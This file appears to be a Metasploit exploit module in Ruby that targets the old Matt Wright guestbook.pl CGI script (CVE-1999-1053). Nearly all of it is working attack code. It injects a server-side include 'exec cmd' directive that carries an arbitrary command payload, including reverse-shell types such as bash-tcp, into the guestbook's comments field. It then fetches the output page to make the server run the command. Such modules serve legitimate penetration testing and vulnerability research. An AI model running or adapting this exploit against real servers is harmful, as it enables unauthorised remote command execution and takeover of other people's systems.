##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
        'Description' => %q{
          The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
          a flaw that may allow arbitrary command execution. The vulnerability
          requires that HTML posting is enabled in the guestbook.pl script, and
          that the web server must have the Server-Side Include (SSI) script
          handler enabled for the '.html' file type. By combining the script
          weakness with non-default server configuration, it is possible to exploit
          this vulnerability successfully.
        },
        'Author' => [ 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '1999-1053' ],
          [ 'OSVDB', '84' ],
          [ 'BID', '776' ],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd cmd_bash',
                          'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
                        }
        },
        'Platform' => %w{linux unix win},
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '1999-11-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
        OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
      ]
    )
  end

  def exploit
    realname	= rand_text_alphanumeric(20)
    email	= rand_text_alphanumeric(20)
    city	= rand_text_alphanumeric(20)
    state	= rand_text_alphanumeric(20)
    country	= rand_text_alphanumeric(20)

    sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"', '\"') + "\"", 'hex-normal')

    req1 = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'method' => 'POST',
      'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
    }, 25)

    req2 = send_request_raw({
      'uri' => normalize_uri(datastore['URIOUT']),
    }, 25)
  end
end